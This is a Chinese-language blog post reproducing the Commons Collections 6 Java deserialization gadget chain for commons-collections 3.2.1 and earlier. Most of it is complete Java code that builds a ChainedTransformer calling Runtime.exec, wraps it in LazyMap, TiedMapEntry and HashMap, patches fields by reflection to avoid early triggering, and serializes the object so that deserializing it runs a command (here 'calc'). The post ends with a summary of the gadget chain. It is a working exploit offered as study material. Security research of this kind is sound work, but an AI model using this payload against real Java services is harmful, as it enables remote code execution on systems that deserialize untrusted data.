java 反序列化 cc6 復現

meraklbz發表於2024-10-04

復現環境:common-collections版本<=3.2.1,java版本隨意.
我們觀察java高於8u71的版本會發現sun.reflect.annotation.AnnotationInvocationHandler類被進行了修改,其中的readObject不去呼叫setvalue方法,而是建立了一個LinkedHashMap var7去重新進行操作,使我們之前的利用鏈中斷.

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField var2 = var1.readFields();
        Class var3 = (Class)var2.get("type", (Object)null);
        Map var4 = (Map)var2.get("memberValues", (Object)null);
        AnnotationType var5 = null;

        try {
            var5 = AnnotationType.getInstance(var3);
        } catch (IllegalArgumentException var13) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var6 = var5.memberTypes();
        LinkedHashMap var7 = new LinkedHashMap();

        String var10;
        Object var11;
        for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
            Map.Entry var9 = (Map.Entry)var8.next();
            var10 = (String)var9.getKey();
            var11 = null;
            Class var12 = (Class)var6.get(var10);
            if (var12 != null) {
                var11 = var9.getValue();
                if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
                    var11 = (new AnnotationTypeMismatchExceptionProxy(objectToString(var11))).setMember((Method)var5.members().get(var10));
                }
            }
        }

        AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
        AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
    }

由於commoncollections版本沒變,因此在chainedTransformer以及之前的鏈子不用改變,需要重新找個出口去自動呼叫transform方法.

原始碼剖析

LazyMap

public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
    protected final Transformer factory;

    public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }

    public Object get(Object key) {
        if (!this.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            this.map.put(key, value);
            return value;
        } else {
            return this.map.get(key);
        }
    }
}

可以看到在get方法中呼叫了factory的transform方法.而decorate方法可以返回一個Map物件.
測試:

package org.example;

import java.io.*;

import com.sun.org.apache.bcel.internal.Const;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws Exception {
        ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);

        String MethodName1 = "getMethod";
        Class[] ParmaType1 = {String.class, Class[].class};
        Object[] Parma1 = {"getRuntime", null};
        InvokerTransformer it1 = new InvokerTransformer(MethodName1, ParmaType1, Parma1);

        String MethodName2 = "invoke";
        Class[] ParmaType2 = {Object.class, Object[].class};
        Object[] Parma2 = {null, null};
        InvokerTransformer it2 = new InvokerTransformer(MethodName2, ParmaType2, Parma2);

        String MethodName3 = "exec";
        Class[] ParmaType3 = {String.class};
        Object[] Parma3 = {"calc"};
        InvokerTransformer it3 = new InvokerTransformer(MethodName3, ParmaType3, Parma3);

        Transformer transformers[] = new Transformer[]{constantTransformer, it1, it2, it3};
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map lazymap = LazyMap.decorate(new HashMap(), chainedTransformer);
        lazymap.get(null);
    }
}

也是成功的彈計算器了.接下來就是要找一個能夠自動呼叫get方法的函式.

TiedMapEntry

public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
    private final Object key;

    public TiedMapEntry(Map map, Object key) {  
        this.map = map;  
        this.key = key;  
    }
    
    public Object getValue() {
        return this.map.get(this.key);
    }
    
    public int hashCode() {
        Object value = this.getValue();
        return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
    }

getValue方法能夠呼叫map的get方法,然後hashCode方法能夠呼叫getValue方法.
測試:

package org.example;

import java.io.*;

import com.sun.org.apache.bcel.internal.Const;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws Exception {
        ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);

        String MethodName1 = "getMethod";
        Class[] ParmaType1 = {String.class, Class[].class};
        Object[] Parma1 = {"getRuntime", null};
        InvokerTransformer it1 = new InvokerTransformer(MethodName1, ParmaType1, Parma1);

        String MethodName2 = "invoke";
        Class[] ParmaType2 = {Object.class, Object[].class};
        Object[] Parma2 = {null, null};
        InvokerTransformer it2 = new InvokerTransformer(MethodName2, ParmaType2, Parma2);

        String MethodName3 = "exec";
        Class[] ParmaType3 = {String.class};
        Object[] Parma3 = {"calc"};
        InvokerTransformer it3 = new InvokerTransformer(MethodName3, ParmaType3, Parma3);

        Transformer transformers[] = new Transformer[]{constantTransformer, it1, it2, it3};
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map lazymap = LazyMap.decorate(new HashMap(), chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
        tiedMapEntry.hashCode();
    }
}

接下來就是想辦法呼叫hashCode方法.

HashMap

只看其中幾個會用到的函式

static final int hash(Object key) {  
    int h;  
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);  
}

public V put(K key, V value) {  
    return putVal(hash(key), key, value, false, true);  
}

private void readObject(ObjectInputStream s)  
    throws IOException, ClassNotFoundException {  
  
    ObjectInputStream.GetField fields = s.readFields();  
  
    // Read loadFactor (ignore threshold)  
    float lf = fields.get("loadFactor", 0.75f);  
    if (lf <= 0 || Float.isNaN(lf))  
        throw new InvalidObjectException("Illegal load factor: " + lf);  
  
    lf = Math.min(Math.max(0.25f, lf), 4.0f);  
    HashMap.UnsafeHolder.putLoadFactor(this, lf);  
  
    reinitialize();  
  
    s.readInt();                // Read and ignore number of buckets  
    int mappings = s.readInt(); // Read number of mappings (size)  
    if (mappings < 0) {  
        throw new InvalidObjectException("Illegal mappings count: " + mappings);  
    } else if (mappings == 0) {  
        // use defaults  
    } else if (mappings > 0) {  
        float fc = (float)mappings / lf + 1.0f;  
        int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?  
                   DEFAULT_INITIAL_CAPACITY :  
                   (fc >= MAXIMUM_CAPACITY) ?  
                   MAXIMUM_CAPACITY :  
                   tableSizeFor((int)fc));  
        float ft = (float)cap * lf;  
        threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?  
                     (int)ft : Integer.MAX_VALUE);  
  
        // Check Map.Entry[].class since it's the nearest public type to  
        // what we're actually creating.        SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);  
        @SuppressWarnings({"rawtypes","unchecked"})  
        Node<K,V>[] tab = (Node<K,V>[])new Node[cap];  
        table = tab;  
  
        // Read the keys and values, and put the mappings in the HashMap  
        for (int i = 0; i < mappings; i++) {  
            @SuppressWarnings("unchecked")  
                K key = (K) s.readObject();  
            @SuppressWarnings("unchecked")  
                V value = (V) s.readObject();  
            putVal(hash(key), key, value, false, false);  
        }  
    }  
}

我們看到hash中呼叫了hashCode方法.而readObject中呼叫了hash方法.因此比較明瞭,我們只需要建立一個鍵為惡意的TiedMapEntry物件,值隨意的HashMap,然後去觸發反序列化,即可成功的執行命令.
然而這裡又出現了個問題,在我們使用put方法去進行插值的時候也會觸發hash方法,導致我們還沒來得及將物件進行序列化就已經執行了命令.
解決方法:使用反射去進行修改.

package org.example;

import java.io.*;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.ExceptionPredicate;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;

import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws Exception {
        ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);

        String MethodName1 = "getMethod";
        Class[] ParmaType1 = {String.class, Class[].class};
        Object[] Parma1 = {"getRuntime", null};
        InvokerTransformer it1 = new InvokerTransformer(MethodName1, ParmaType1, Parma1);

        String MethodName2 = "invoke";
        Class[] ParmaType2 = {Object.class, Object[].class};
        Object[] Parma2 = {null, null};
        InvokerTransformer it2 = new InvokerTransformer(MethodName2, ParmaType2, Parma2);

        String MethodName3 = "exec";
        Class[] ParmaType3 = {String.class};
        Object[] Parma3 = {"calc"};
        InvokerTransformer it3 = new InvokerTransformer(MethodName3, ParmaType3, Parma3);

        Transformer transformers[] = new Transformer[]{constantTransformer, it1, it2, it3};
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map lazymap = LazyMap.decorate(new HashMap(), new ConstantTransformer(null) );
//注意這裡不能為new ChainedTransformer(null),因為引數型別不匹配
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);

        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry, null);

        Class clazz = lazymap.getClass();
        Field field = clazz.getDeclaredField("factory");
        field.setAccessible(true);
        field.set(lazymap, chainedTransformer);
        
        serial(hashMap);
        unserial();

    }

    public static void serial(Object obj) throws Exception {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));
        out.writeObject(obj);
    }

    public static void unserial() throws Exception {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));
        in.readObject();
    }
}

然而並沒有像我們設想的那樣去彈出計算器.
研究發現問題出在LazyMap的get方法中

public Object get(Object key) {
        if (!this.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            this.map.put(key, value);
            return value;
        } else {
            return this.map.get(key);
        }

在TiedMapEntry物件初始化時會呼叫get方法,那麼就會給這個map去put一個鍵值對.
反序列化之前第一次經過get:

反序列化時第二次經過get:

這裡的map中填了一對null的鍵值對,實際是在我們這個語句時指定的null,如果我們改成1的話鍵就是1,值就是null.因為TiedMapEntry的建構函式中只初始化了key,沒有去初始化value.

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);

解決方案一:
網上給出的大多都是在序列化之前移除lazymap中的這個鍵值對lazymap.remove("2");
解決方案二:
我更喜歡的是更換反射修改的位置.使用反射去修改TiedMapEntry而不是LazyMap將會一舉兩得的解決這個問題.既避免了put的時候觸發LazyMap,也避免了初始化TiedMapEntry的時候修改LazyMap.
測試:

package org.example;

import java.io.*;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.ExceptionPredicate;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;

import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws Exception {
        ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);

        String MethodName1 = "getMethod";
        Class[] ParmaType1 = {String.class, Class[].class};
        Object[] Parma1 = {"getRuntime", null};
        InvokerTransformer it1 = new InvokerTransformer(MethodName1, ParmaType1, Parma1);

        String MethodName2 = "invoke";
        Class[] ParmaType2 = {Object.class, Object[].class};
        Object[] Parma2 = {null, null};
        InvokerTransformer it2 = new InvokerTransformer(MethodName2, ParmaType2, Parma2);

        String MethodName3 = "exec";
        Class[] ParmaType3 = {String.class};
        Object[] Parma3 = {"calc"};
        InvokerTransformer it3 = new InvokerTransformer(MethodName3, ParmaType3, Parma3);

        Transformer transformers[] = new Transformer[]{constantTransformer, it1, it2, it3};
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map lazymap = LazyMap.decorate(new HashMap(), chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(LazyMap.decorate(new HashMap(), new ConstantTransformer(null)), null);

        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry, null);

        Class clazz = TiedMapEntry.class;
        Field field = clazz.getDeclaredField("map");
        field.setAccessible(true);
        field.set(tiedMapEntry, lazymap);

        serial(hashMap);
        unserial();

    }

    public static void serial(Object obj) throws Exception {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));
        out.writeObject(obj);
    }

    public static void unserial() throws Exception {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));
        in.readObject();
    }
}

成功彈計算器.

歸納出鏈子

Gadget chain:
ObjectInputStream.readObject()
    HashMap.readObject()
        TiedMapEntry.hashCode()
            LazyMap.get()
                ChainedTransformer.transform()
                    ConstantTransformer.transform()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Class.getMethod()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Runtime.getRuntime()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Runtime.exec()

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